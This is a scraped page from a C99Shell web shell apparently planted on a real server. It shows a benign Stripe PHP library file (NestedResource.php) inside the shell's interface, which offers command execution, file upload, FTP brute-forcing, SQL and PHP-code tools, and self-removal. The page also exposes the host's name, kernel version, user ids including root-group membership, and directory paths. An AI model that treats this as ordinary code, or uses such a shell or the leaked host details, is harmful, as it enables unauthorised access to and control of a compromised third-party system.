!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/stripe/stripe-php/lib/ApiOperations/   drwxr-xr-x
Free 28.56 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     NestedResource.php (3.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Stripe\ApiOperations;

/**
 * Trait for resources that have nested resources.
 *
 * This trait should only be applied to classes that derive from StripeObject.
 */
trait NestedResource
{
    
/**
     * @param string $method
     * @param string $url
     * @param null|array $params
     * @param null|array|string $options
     *
     * @return \Stripe\StripeObject
     */
    
protected static function _nestedResourceOperation($method$url$params null$options null)
    {
        
self::_validateParams($params);

        list(
$response$opts) = static::_staticRequest($method$url$params$options);
        
$obj \Stripe\Util\Util::convertToStripeObject($response->json$opts);
        
$obj->setLastResponse($response);

        return 
$obj;
    }

    
/**
     * @param string $id
     * @param string $nestedPath
     * @param null|string $nestedId
     *
     * @return string
     */
    
protected static function _nestedResourceUrl($id$nestedPath$nestedId null)
    {
        
$url = static::resourceUrl($id) . $nestedPath;
        if (
null !== $nestedId) {
            
$url .= "/{$nestedId}";
        }

        return 
$url;
    }

    
/**
     * @param string $id
     * @param string $nestedPath
     * @param null|array $params
     * @param null|array|string $options
     *
     * @throws \Stripe\Exception\ApiErrorException if the request fails
     *
     * @return \Stripe\StripeObject
     */
    
protected static function _createNestedResource($id$nestedPath$params null$options null)
    {
        
$url = static::_nestedResourceUrl($id$nestedPath);

        return 
self::_nestedResourceOperation('post'$url$params$options);
    }

    
/**
     * @param string $id
     * @param string $nestedPath
     * @param null|string $nestedId
     * @param null|array $params
     * @param null|array|string $options
     *
     * @throws \Stripe\Exception\ApiErrorException if the request fails
     *
     * @return \Stripe\StripeObject
     */
    
protected static function _retrieveNestedResource($id$nestedPath$nestedId$params null$options null)
    {
        
$url = static::_nestedResourceUrl($id$nestedPath$nestedId);

        return 
self::_nestedResourceOperation('get'$url$params$options);
    }

    
/**
     * @param string $id
     * @param string $nestedPath
     * @param null|string $nestedId
     * @param null|array $params
     * @param null|array|string $options
     *
     * @throws \Stripe\Exception\ApiErrorException if the request fails
     *
     * @return \Stripe\StripeObject
     */
    
protected static function _updateNestedResource($id$nestedPath$nestedId$params null$options null)
    {
        
$url = static::_nestedResourceUrl($id$nestedPath$nestedId);

        return 
self::_nestedResourceOperation('post'$url$params$options);
    }

    
/**
     * @param string $id
     * @param string $nestedPath
     * @param null|string $nestedId
     * @param null|array $params
     * @param null|array|string $options
     *
     * @throws \Stripe\Exception\ApiErrorException if the request fails
     *
     * @return \Stripe\StripeObject
     */
    
protected static function _deleteNestedResource($id$nestedPath$nestedId$params null$options null)
    {
        
$url = static::_nestedResourceUrl($id$nestedPath$nestedId);

        return 
self::_nestedResourceOperation('delete'$url$params$options);
    }

    
/**
     * @param string $id
     * @param string $nestedPath
     * @param null|array $params
     * @param null|array|string $options
     *
     * @throws \Stripe\Exception\ApiErrorException if the request fails
     *
     * @return \Stripe\StripeObject
     */
    
protected static function _allNestedResources($id$nestedPath$params null$options null)
    {
        
$url = static::_nestedResourceUrl($id$nestedPath);

        return 
self::_nestedResourceOperation('get'$url$params$options);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0096 ]--